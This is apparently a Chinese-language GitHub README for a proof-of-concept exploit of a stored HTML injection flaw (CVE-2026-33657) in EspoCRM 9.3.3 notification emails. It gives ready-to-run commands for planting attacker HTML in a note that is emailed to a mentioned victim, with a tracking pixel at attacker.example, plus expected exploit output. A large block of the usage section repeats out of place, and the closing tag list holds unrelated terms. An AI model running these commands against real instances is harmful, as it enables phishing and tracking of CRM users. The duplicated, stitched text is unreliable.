EntroVyx/CVE-2026-33657
GitHub: EntroVyx/CVE-2026-33657
针对 EspoCRM 9.3.3 邮件通知模板中存储型 HTML 注入漏洞(CVE-2026-33657)的已认证 PoC 脚本,通过创建恶意便笺在目标用户的通知邮件中注入并渲染任意 HTML。
Stars: 0 | Forks: 0
# CVE-2026-33657 - EspoCRM 9.3.3 电子邮件通知中的存储型 HTML 注入
EspoCRM 9.3.3 电子邮件通知中存储型 HTML 注入的已认证概念验证。
## 概述
EspoCRM 9.3.3 通过将便笺正文进行 Markdown 转换,并使用三重花括号(`{{{post}}}`)将生成的 HTML 插入到电子邮件模板中,以此来渲染 stream-note 通知电子邮件。能够创建 stream 帖子并触发通知的已认证用户,可以存储由攻击者控制的 HTML,这些 HTML 随后会在生成的电子邮件正文中被渲染。
该漏洞利用程序执行了由攻击者远程控制的流程部分:
1. 向 EspoCRM 进行身份验证。
2. (可选)通过 `/api/v1/App/user` 指纹识别版本信息。
3. 创建包含 HTML 的恶意 `Note`。
4. 使用 `--mention` 或 `--target-user-id` 将通知目标加入队列。
5. 确认 payload 已存储且 API 响应中存在通知目标。
当 EspoCRM 的常规 `SendEmailNotifications` 作业或 cron 处理排队的通知时,会进行电子邮件发送。
## 受影响版本
- 受漏洞影响:EspoCRM 9.3.3
- 已修复:EspoCRM 9.3.4
- 安全公告:https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
- CVE:CVE-2026-33657
- CWE:CWE-80
## 环境要求
- Python 3
- `requests`
- 有效的 EspoCRM 凭据
- 具有创建 stream `Note` 记录的权限
- 一个通知目标:
- 用于 mention(提及)电子邮件通知的 `--mention `,或者
- 用于定向 stream-post 通知的 `--target-user-id `
安装依赖:
```
python3 -m pip install requests
```
## 使用方法
首选的基于 mention 的路径:
```
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
```
使用自定义跟踪 URL:
```
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
```
使用完全自定义的 HTML payload:
```
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '
open'
```
指定具体的用户 ID 而不是 mention:
```
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
```
仅进行指纹识别,不创建 note:
```
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
```
## 选项
```
-u, --url Base EspoCRM URL
-U, --username EspoCRM username
-P, --password EspoCRM password
--mention Username to mention, without @
--target-user-id User id for targeted stream-post notifications
--target-user-name Display name for --target-user-id
--payload Raw HTML payload to store in the Note
--tracking-url Tracking pixel URL used by the default payload
--link-url Link URL used by the default payload
--marker Marker text prepended to the payload
--detect-only Fingerprint version only; do not create a Note
--skip-version-check Skip /api/v1/App/user before exploitation
--force Continue even if version fingerprint is not 9.3.3
--insecure Disable TLS certificate verification
```
## 预期输出
成功运行后会创建一个恶意 note 并确认通知目标:
```
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.
```
在受漏洞影响的实例中,生成的 HTML 电子邮件正文会保留注入的 HTML。实验环境下的截图如下:
```
re-auth
```
## 实验环境验证
在本地 EspoCRM 实验环境中,运行漏洞利用程序后,触发通知作业:
```
sudo -u www-data php command.php run-job SendEmailNotifications
```
生成的电子邮件正文应在 `text/html` 部分包含注入的 HTML。
## 备注
- 该漏洞利用程序不需要目标的 shell 访问权限;shell 访问权限仅对本地实验环境中排队电子邮件作业的验证有用。
- 如果 API 返回 `@@version`,则该目标可能是源代码树构建版本。脚本会继续执行,因为底层代码可能仍然是受漏洞影响的 9.3.3 标签版本。
- 如果 `--mention` 没有生成解析后的 mention,请检查攻击者的 `messagePermission` 和 `mentionPermission`,并确认目标用户名存在且可以接收通知。
open'
```
指定具体的用户 ID 而不是 mention:
```
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
```
仅进行指纹识别,不创建 note:
```
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
```
## 选项
```
-u, --url Base EspoCRM URL
-U, --username EspoCRM username
-P, --password EspoCRM password
--mention Username to mention, without @
--target-user-id User id for targeted stream-post notifications
--target-user-name Display name for --target-user-id
--payload Raw HTML payload to store in the Note
--tracking-url Tracking pixel URL used by the default payload
--link-url Link URL used by the default payload
--marker Marker text prepended to the payload
--detect-only Fingerprint version only; do not create a Note
--skip-version-check Skip /api/v1/App/user before exploitation
--force Continue even if version fingerprint is not 9.3.3
--insecure Disable TLS certificate verification
```
## 预期输出
成功运行后会创建一个恶意 note 并确认通知目标:
```
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.
```
在受漏洞影响的实例中,生成的 HTML 电子邮件正文会保留注入的 HTML。实验环境下的截图如下:
```
标签:CISA项目, CVE, CVE-2026-33657, CWE-80, EspoCRM, HTML注入, Markdown转义, Maven, Object Callbacks, PoC, Python, Web安全, 字符串匹配, 存储型HTML注入, 存储型XSS, 安全测试, 已认证攻击, 攻击性安全, 数字签名, 无后门, 暴力破解, 模板注入, 漏洞验证, 电子邮件通知, 网络安全, 网络钓鱼, 蓝队分析, 隐私保护